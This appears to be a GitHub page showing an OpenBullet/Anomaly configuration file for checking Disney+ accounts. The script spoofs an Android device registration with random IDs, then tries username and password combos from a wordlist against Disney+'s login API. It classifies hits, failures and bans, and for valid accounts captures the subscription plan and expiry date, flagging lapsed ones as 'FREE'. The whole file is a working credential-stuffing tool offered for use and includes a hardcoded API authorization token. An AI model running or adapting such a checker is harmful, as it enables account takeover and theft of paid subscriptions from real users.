-
Notifications
You must be signed in to change notification settings - Fork 11
/
[CT] - Disney+ API.anom
111 lines (95 loc) · 6.19 KB
/
[CT] - Disney+ API.anom
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
[SETTINGS]
{
"Name": "Disney+",
"SuggestedBots": 1,
"MaxCPM": 0,
"LastModified": "2022-06-28T15:00:36.9161222+03:00",
"AdditionalInfo": "",
"Author": " e a m",
"Version": "1.4.4 [Anomaly]",
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": false,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"EncodeData": false,
"AllowedWordlist1": "",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [],
"CaptchaUrl": "",
"Base64": "",
"Grayscale": false,
"RemoveLines": false,
"RemoveNoise": false,
"Dilate": false,
"Threshold": 1.0,
"DiffKeep": 0.0,
"DiffHide": 0.0,
"Saturate": false,
"Saturation": 0.0,
"Transparent": false,
"Contour": false,
"OnlyShow": false,
"ContrastGamma": false,
"Contrast": 1.0,
"Gamma": 1.0,
"Brightness": 1.0,
"RemoveLinesMin": 0,
"RemoveLinesMax": 0,
"Crop": false,
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"DisableNotifications": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": ""
}
[SCRIPT]
#Function FUNCTION RandomString "?h?h?h?d?h?h?d?d?l?d?h?h?h?h?h?h" -> VAR "random"
#Function FUNCTION RandomString "?h?h?h?h?h?h?h?h-?h?h?h?h-?h?h?h?h-?h?h?h?h-?h?h?h?h?h?h?h?h?h?h?h?h" -> VAR "random1"
#Function FUNCTION GenerateGUID -> VAR "gui"
#Post REQUEST POST "https://disney.api.edge.bamgrid.com/graph/v1/device/graphql"
CONTENT "{\"query\":\"\\\\n mutation ($registerDevice: RegisterDeviceInput!) {\\\\n registerDevice(registerDevice: $registerDevice) {\\\\n __typename\\\\n }\\\\n }\\\\n \",\"variables\":{\"registerDevice\":{\"applicationRuntime\":\"android\",\"attributes\":{\"osDeviceIds\":[{\"identifier\":\"<random>\",\"type\":\"android.vendor.id\"},{\"identifier\":\"<random1>\",\"type\":\"android.advertising.id\"}],\"manufacturer\":\"Samsung\",\"model\":\"A31\",\"operatingSystem\":\"Android\",\"operatingSystemVersion\":\"7.1.2\"},\"deviceFamily\":\"android\",\"deviceLanguage\":\"tr\",\"deviceProfile\":\"phone\"}}}"
CONTENTTYPE "application/json"
HEADER "Authorization: ZGlzbmV5JmFuZHJvaWQmMS4wLjA.bkeb0m230uUhv8qrAXuNu39tbE_mD5EEhM_NAcohjyA"
HEADER "X-BAMSDK-Transaction-ID: <gui>"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36"
#Parse PARSE "<SOURCE>" JSON "accessToken" -> VAR "token"
#POST REQUEST POST "https://disney.api.edge.bamgrid.com/v1/public/graphql"
CONTENT "{\"operationName\":\"login\",\"variables\":{\"input\":{\"email\":\"<USER>\",\"password\":\"<PASS>\"},\"includePaywall\":false,\"includeActionGrant\":false},\"query\":\"mutation login($input: LoginInput!, $includePaywall: Boolean!, $includeActionGrant: Boolean!) { login(login: $input) { __typename account { __typename ...accountGraphFragment } actionGrant @include(if: $includeActionGrant) activeSession { __typename ...sessionGraphFragment } paywall @include(if: $includePaywall) { __typename ...paywallGraphFragment } } } fragment accountGraphFragment on Account { __typename id activeProfile { __typename id } profiles { __typename ...profileGraphFragment } parentalControls { __typename isProfileCreationProtected } flows { __typename star { __typename isOnboarded } } attributes { __typename email emailVerified userVerified locations { __typename manual { __typename country } purchase { __typename country } registration { __typename geoIp { __typename country } } } } } fragment profileGraphFragment on Profile { __typename id name maturityRating { __typename ratingSystem ratingSystemValues contentMaturityRating maxRatingSystemValue isMaxContentMaturityRating } isAge21Verified flows { __typename star { __typename eligibleForOnboarding isOnboarded } } attributes { __typename isDefault kidsModeEnabled groupWatch { __typename enabled } languagePreferences { __typename appLanguage playbackLanguage preferAudioDescription preferSDH subtitleLanguage subtitlesEnabled } parentalControls { __typename isPinProtected kidProofExitEnabled liveAndUnratedContent { __typename enabled } } playbackSettings { __typename autoplay backgroundVideo prefer133 } avatar { __typename id userSelected } } } fragment sessionGraphFragment on Session { __typename sessionId device { __typename id } entitlements experiments { __typename featureId variantId version } homeLocation { __typename countryCode } inSupportedLocation isSubscriber location { __typename countryCode } portabilityLocation { __typename countryCode } preferredMaturityRating { __typename impliedMaturityRating ratingSystem } } fragment paywallGraphFragment on Paywall { __typename skus { __typename name sku entitlements } paywallHash context assertions { __typename documentCode } }\"}"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "Authorization: <token>"
HEADER "X-BAMSDK-Transaction-ID: <gui>"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36"
#Keycheck KEYCHECK
KEYCHAIN Success OR
KEY "countryCode"
KEYCHAIN Failure OR
KEY "idp.error.identity.bad-credential"
KEYCHAIN Ban OR
KEY "<RESPONSECODE>" EqualTo "403"
#Parse PARSE "<SOURCE>" JSON "accessToken" -> VAR "access"
#Cap REQUEST GET "https://disney.api.edge.bamgrid.com/subscriptions"
HEADER "Accept: application/json"
HEADER "Authorization: <access>"
HEADER "X-BAMSDK-Transaction-ID: <gui>"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36"
HEADER "Host: disney.api.edge.bamgrid.com"
HEADER "Connection: Keep-Alive"
HEADER "Accept-Encoding: gzip"
#Parse PARSE "<SOURCE>" JSON "name" CreateEmpty=FALSE -> CAP "Paket"
#Parse PARSE "<SOURCE>" LR "expirationDate\":\"" "T" CreateEmpty=FALSE -> CAP "Bitiş"
#Function FUNCTION DateToUnixTime "yyyy-MM-dd" "<Bitiş>" -> VAR "Bitiş Tarihi"
#Function FUNCTION CurrentUnixTime -> VAR "cek"
IF "<SOURCE>" Contains "[]"
SET STATUS CUSTOM "FREE"
ENDIF
IF "<Bitiş Tarihi>" LessThan "<cek>"
SET STATUS CUSTOM "FREE"
ELSE
SET STATUS SUCCESS
ENDIF